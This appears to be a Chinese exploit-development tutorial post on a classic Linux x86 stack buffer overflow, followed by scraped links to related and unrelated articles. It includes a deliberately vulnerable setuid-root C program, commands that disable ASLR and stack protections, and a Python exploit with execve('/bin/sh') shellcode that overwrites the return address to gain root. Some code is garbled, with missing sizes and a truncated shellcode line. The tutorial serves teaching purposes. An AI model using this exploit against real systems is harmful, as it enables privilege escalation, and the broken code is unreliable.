Linux Exploit系列之一 典型的基于堆栈的缓冲区溢出
Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)
Note:本文大部分来自于看雪hackyzh的中文翻译,加入了一些自己的理解
典型的基于堆栈的缓冲区溢出
虚拟机安装:Ubuntu 12.04(x86)
这个帖子是最简单的漏洞开发教程系列,在互联网上你可以找到很多关于它的文章。尽管它丰富和熟悉,我更喜欢自己写博客文章,因为它将作为我未来许多职位的先决条件!
什么是缓冲区溢出?
将源缓冲区复制到目标缓冲区可能导致溢出
1、源字符串长度大于目标字符串长度。
2、不进行大小检查。
缓冲区溢出有两种类型:
1、基于堆栈的缓冲区溢出 - 这里的目标缓冲区位于堆栈中
2、基于堆的缓冲区溢出 - 这里的目标缓冲区位于堆中
在这篇文章中,我将只讨论基于堆栈的缓冲区溢出。堆溢出将在Linux(x86)漏洞开发教程系列的 “3级”中讨论!
缓冲区溢出错误导致任意代码执行!
什么是任意代码执行?
任意代码执行允许攻击者执行他的代码以获得对受害机器的控制。受害机器的控制是通过多种方式实现的,例如产生根shell,添加新用户,打开网口等...
听起来很有趣,足够的定义让我们看看缓冲区溢出攻击的代码!
漏洞代码
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
/* [1] */ char buf[];
/* [2] */ strcpy(buf,argv[]);
/* [3] */ printf("Input:%s\n",buf);
return ;
}
编译代码
#echo > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
上述漏洞代码的[2]行显示了缓冲区溢出错误。这个bug可能导致任意代码执行,因为源缓冲区内容是用户输入的!
如何执行任意代码执行?
使用称为“ 返回地址覆盖 ”的技术实现任意代码执行。这种技术有助于攻击者覆盖位于堆栈中的“返回地址”,并且这种覆盖将导致任意代码执行。
在研究漏洞代码之前,为了更好的理解,让我们反汇编并且绘制出漏洞代码的堆栈布局。
反汇编
(gdb) disassemble main
Dump of assembler code for function main:
//Function Prologue
0x08048414 <+>:push %ebp //backup caller's ebp
0x08048415 <+>:mov %esp,%ebp //set callee's ebp to esp
0x08048417 <+>:and $0xfffffff0,%esp //栈对齐
0x0804841a <+>:sub $0x110,%esp //stack space for local variables
0x08048420 <+>:mov 0xc(%ebp),%eax //eax = argv
0x08048423 <+>:add $0x4,%eax //eax = &argv[1]
0x08048426 <+>:mov (%eax),%eax //eax = argv[1]
0x08048428 <+>:mov %eax,0x4(%esp) //strcpy arg2
0x0804842c <+>:lea 0x10(%esp),%eax //eax = 'buf'
0x08048430 <+>:mov %eax,(%esp) //strcpy arg1
0x08048433 <+>:call 0x8048330 <strcpy@plt> //call strcpy
0x08048438 <+>:mov $0x8048530,%eax //eax = format str "Input:%s\n"
0x0804843d <+>:lea 0x10(%esp),%edx //edx = buf
0x08048441 <+>:mov %edx,0x4(%esp) //printf arg2
0x08048445 <+>:mov %eax,(%esp) //printf arg1
0x08048448 <+>:call 0x8048320 <printf@plt> //call printf
0x0804844d <+>:mov $0x0,%eax //return value 0
//Function Epilogue
0x08048452 <+>:leave //mov ebp, esp; pop ebp;
0x08048453 <+>:ret //return
End of assembler dump.
(gdb)
原文地址:https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/
这个地方需要特殊说明一下,原作者使用的是Ubuntu 12.04 LTS 32位版本的系统,GCC的版本未知,反汇编的代码是这样的,我使用Ubuntu 14.04 32位系统,GCC版本4.8.2,disassemble后的代码不是这样,但是功能是一样的,所以不做更多解释,大家按照原作者和hackyzh的翻译来读是没有什么问题的
翻译的文章是https://bbs.pediy.com/thread-216868.htm
好烦,不想粘贴过来,大家看原文的,我就写下我自己的有些地方的理解,和原文会给大家造成的误解进行解释。
攻击代码原来是这样的:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0 #Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
return struct.pack("<I",numnk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])
第13行的return struct.pack("<I",numnk + RA + NOP's + Shellcode 很明显是不对的,这里原文作者是大神,都懒得解释,直接抛个错误让我们自己玩,hackyzh也是大神,也懒得解释。
这里是返回二进制的意思,正确的写法应该是:
return struct.pack("<I",num) #nk + RA + NOP's + Shellcode
还有一个地方是返回地址的地方,这个地方大神们也懒得解释了,看雪论坛也有人在猜这个地方,我觉得可以这样解释。
在我的机器上buf的地址(所谓的&buf)是0xbffff340,这样ret_addr=0xbffff340+0x10c+0x4+0x64=0xbffff654。
之后就可以成功获得root权限。
最后附上我的exp.py文件
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff654 #Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\$
#endianess convertion
def conv(num):
return struct.pack("<I",num)#nk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])
Linux Exploit系列之一 典型的基于堆栈的缓冲区溢出的更多相关文章
- Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)
(1)漏洞代码 //vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) ...
- Linux Exploit系列之三 Off-By-One 漏洞 (基于栈)
Off-By-One 漏洞 (基于栈) 原文地址:https://bbs.pediy.com/thread-216954.htm 什么是off by one? 将源字符串复制到目标缓冲区可能会导致of ...
- 有未经处理的异常(在 xx.exe 中): 堆栈 Cookie 检测代码检测到基于堆栈的缓冲区溢出。
一般这个问题是数组越界. 我产生这个异常的代码是这句:memcpy(tmp_cert.byKey, m_row[2], 255); 255的长度超过了char数组tmp_cert.byKey的长度.
- Linux Kernel ‘write_tag_3_packet()’函数本地基于堆的缓冲区溢出漏洞
漏洞名称: Linux Kernel ‘write_tag_3_packet()’函数本地基于堆的缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-067 发布时间: 2013-11-07 ...
- Nagios Core/Icinga 基于栈的缓冲区溢出漏洞
漏洞名称: Nagios Core/Icinga 基于栈的缓冲区溢出漏洞 CNNVD编号: CNNVD-201402-484 发布时间: 2014-03-03 更新时间: 2014-03-03 危害等 ...
- Linux Exploit系列之六 绕过ASLR - 第一部分
绕过ASLR - 第一部分 什么是 ASLR? 地址空间布局随机化(ASLR)是随机化的利用缓解技术: 堆栈地址 堆地址 共享库地址 一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过 ...
- Linux Exploit系列之七 绕过 ASLR -- 第二部分
原文地址:https://github.com/wizardforcel/sploitfun-linux-x86-exp-tut-zh/blob/master/7.md 这一节是简单暴力的一节,作者讲 ...
- Linux Exploit系列之二 整数溢出
整数溢出 虚拟机安装:Ubuntu 12.04(x86) 什么是整数溢出? 存储大于最大支持值的值称为整数溢出.整数溢出本身不会导致任意代码执行,但整数溢出可能会导致堆栈溢出或堆溢出,这可能导致任意代 ...
- Linux Exploit系列之四 使用return-to-libc绕过NX bit
使用return-to-libc绕过NX bit 原文地址:https://bbs.pediy.com/thread-216956.htm 这篇讲解的比较好,主要的问题是获得system地址和exit ...
随机推荐
- python全栈开发第6天
作业一:1) 开启Linux系统前添加一块大小为15G的SCSI硬盘 2) 开启系统,右击桌面,打开终端 3) 为新加的硬盘分区,一个主分区大小为5G,剩余空间给扩展分区,在扩展分区上划分1个逻辑分区 ...
- [微信小程序] 当动画(animation)遇上延时执行函数(setTimeout)出现的问题
小程序中当动画animation遇上setTimeout函数内部使用this.setData函数,通常情况下会出现报错.本文先告诉解决方法,后分析报错原因 1.解决方法: 在 setTimeout() ...
- 图片加载框架之ImageLoader
Android开发中,多少会接触到异步加载图片,或者加载大量图片的问题,而加载图片我们常常会遇到许多的问题,比如说图片的错乱,OOM等问题,对于这些问题解决起来会比较吃力,比较著名的就是Univers ...
- 【转载】WEBRTC基本介绍
“WebRTC,名称源自网页实时通信(Web Real-Time Communication)的缩写,是一个支持网页浏览器进行实时语音对话或视频对话的技术,是谷歌2010年以6820万美元收购Glob ...
- C# Path.Combine 缺陷(http路径用Uri类)
Path.Combine: 什么时候会用到Path.Combine呢?,当然是连接路径字符串的时候! 所以下面的代码可以完美的工作: public static void Main() { strin ...
- 网络实验 02-交换机的Telnet远程登录设置
交换机的Telnet远程登录设置 一.实验目标 掌握采用telnet方式配置交换机的方法 二.技术原理 1. 配置交换机的管理IP地址(计算机的IP地址与交换机管理IP地址在同一网段) 2. 为tel ...
- linux中为什么删除文件比创建文件要快,读取文件和删除文件的过程是什么?
一.为什么删除文件比创建文件要快? 因为删除文件只是将bitmap位图表中将文件所占据的inode 和dacablock的使用状态从1变成0,相当于释放了这些快的使用权. 二.读取文件和删除文件的过程 ...
- AI测试——旅程的终点
在2019年6月,我产生了一个想法,即人工智能探索测试AIET(Artificial intelligence exploration test),大概用了一周时间来思考怎么把人工智能应用到测试领域, ...
- finereport 填报 单元格 JS 触发 提交SQL 事件
var location = this.options.location; var cr = FR.cellStr2ColumnRow(location); var col = cr.col; var ...
- 【DSP开发】回马枪要你命 德州仪器发布最强ARM芯片Keystone II
之前许多传闻称德州仪器将会彻底放弃OMAP系列ARM处理器,从此离开手持设备的江湖.如果你信以为真,那可就太小看德州仪器这个老狐狸了--要知道德州仪器诞生的比Intel都还早几年.三小时前,德州仪器宣 ...